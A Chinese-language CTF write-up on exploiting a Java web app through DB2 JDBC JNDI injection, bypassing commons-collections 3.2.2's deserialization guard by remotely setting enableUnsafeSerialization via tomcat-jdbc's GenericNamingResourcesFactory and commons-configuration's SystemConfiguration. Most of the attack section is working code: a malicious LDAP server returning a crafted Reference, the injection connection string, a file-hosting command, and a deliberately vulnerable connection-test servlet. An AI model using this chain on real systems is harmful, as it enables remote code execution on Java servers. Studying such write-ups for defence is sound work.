Java_JDBC(commonscollection3.2.2)Bypass
0x01 分析题目
简单捋捋信息,访问题目得到一个连接测试页面
题目给出的附件如下:
不难看出考点是DB2的JNDI注入,DB2打JNDI的payload大致如下:
1
| jdbc:db2://127.0.0.1:50001/db:clientRerouteServerListJNDIName=ldap://127.0.0.1:1379/abc
|
但是反序列化依赖只有一个commons-collections-3.2.2.jar
,理论上是要打CC3的链的,但是可以看得出来版本不对,该版本对CC3反序列化的类做了限制,导致重要的类不能够被反序列化,例如InstantiateTransformer
,InvokeTransformer
通过测试得知:
- 由于Tomcat8.5.96测试发现TomcatByPass的工厂类org.apache.naming.factory.BeanFactory进行利用 是无法成功的,官方将其进行了修复,故无法利用
- 由于RMI在6u132, 7u122, 8u113版本开始做了限制、LDAP在 11.0.1, 8u191, 7u201, 6u211版本开始 做了限制,故猜测是目标是采用了高版本的JDK
这里只能去思考题目给出的其他依赖能不能破局了
给出的依赖中包含了commons-configuration、并且是tomcat部署,那么也存在tomcat-jdbc,查看相应的 Class:
1
| org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance
|
该类可以进行加载类进行无参实例化,并且对setter方法进行调用 LDAP和RMI在收到服务端反序列化来的 Reference
对象后根据 classFactory
属性从本地classpath
中 实例化一个 ObjectFactory
对象,然后调用这个对象的 getObjectInstance
方法
该工厂类可以任意调用某类的setter方法,并且存在一个类: org.apache.commons.configuration.Sys temConfiguration
该类方法 org.apache.commons.configuration.SystemConfiguration#setSystemProperties(java.lan g.String)
可以进行远程加载配置文件进行设置系统属性:
分析到这个程度就好解决了,我们发现commons-collections3.2.2的反序列化限制是这样的
例如:org.apache.commons.collections.functors.InstantiateTransformer#readObject
进入检测方法org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization
我们会发现检测时是在实时获取系统属性,如果不为 true 就会抛异常中断反序列化的执行
所以只需要修改这个作为JNDI注入缓解措施的系统属性,即可绕过高版本的限制
1
| org.apache.commons.collections.enableUnsafeSerialization=true
|
然后打CC3即可,芜湖
0x02 搭建环境
为了以后复现简单,还是写了这么一个搭建环境的部分
首先是利用pom.xml导入依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.8</version> </dependency> <dependency> <groupId>commons-lang</groupId> <artifactId>commons-lang</artifactId> <version>2.6</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.1.3</version> </dependency> <dependency> <groupId>com.ibm.db2.jcc</groupId> <artifactId>db2jcc</artifactId> <version>db2jcc4</version> </dependency>
|
然后是访问的index.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Test Connect Form</title> </head> <body> <h2>Test Connect Form</h2> <form action="TestDBConnection" method="post"> <label for="connectionString">URL:</label><br> <input type="text" id="connectionString" name="connectionString" required><br>
<label for="username">Username:</label><br> <input type="text" id="username" name="username" required><br>
<label for="password">Password:</label><br> <input type="password" id="password" name="password" required><br>
<input type="submit" value="submit"> </form> </body> </html>
|
然后是用于实际连接的java类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import java.io.IOException; import java.io.PrintWriter; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
@WebServlet("/TestDBConnection") public class TestDBConnection extends HttpServlet { private static final long serialVersionUID = 1L;
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter();
String connectionString = request.getParameter("connectionString"); String username = request.getParameter("username"); String password = request.getParameter("password");
try { Class.forName("com.ibm.db2.jcc.DB2Driver");
Connection connection = DriverManager.getConnection(connectionString, username, password);
out.println("<html><body><h2>连接成功!</h2></body></html>");
connection.close(); } catch (ClassNotFoundException | SQLException e) { out.println("<html><body><h2>连接失败!</h2><p>" + e.getMessage() + "</p></body></html>"); } catch (NamingException e) { throw new RuntimeException(e); } } }
|
0x03 攻击利用
采用LDAP服务的方式进行利用,本地修改好代码,搭建一个文件托管服务,下面是
修改系统配置信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.io.*; public class LDAPServer { static String userDN = "dc=ldap;dc=com"; public static void main(String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true"); InMemoryDirectoryServerConfig imConfig = new InMemoryDirectoryServerConfig(userDN); imConfig.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"),1379, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault()) ); imConfig.addInMemoryOperationInterceptor(new LdapInterpetor()); InMemoryDirectoryServer ldapServer = new InMemoryDirectoryServer(imConfig); ldapServer.startListening(); } static class LdapInterpetor extends InMemoryOperationInterceptor { private static Reference systemConfiguration(){ Reference ref = new Reference("org.apache.commons.configuration.SystemConfiguration","org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt")); return ref; } private static byte[] serializeObject(Serializable obj) { try (ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos)) { oos.writeObject(obj); return bos.toByteArray(); } catch (IOException e) { e.printStackTrace(); return null; } } @Override public void processSearchResult(InMemoryInterceptedSearchResult request) { Entry entry = new Entry(request.getRequest().getBaseDN()); try { System.out.println("start"); String className = "java.lang.String"; entry.addAttribute("javaSerializedData", serializeObject(systemConfiguration())); entry.addAttribute("javaClassName",className); entry.addAttribute("objectClass","javaNamingReference"); request.sendSearchEntry(entry); request.setResult(new LDAPResult(0, ResultCode.SUCCESS)); System.out.println("stop"); }catch (Exception e){ e.printStackTrace(); } } } }
|
搭建一个文件托管(这里就直接用python)
1
| python -m http.server 6666
|
配置文件内容
1
| org.apache.commons.collections.enableUnsafeSerialization=true
|
然后直接打CC3链子就行了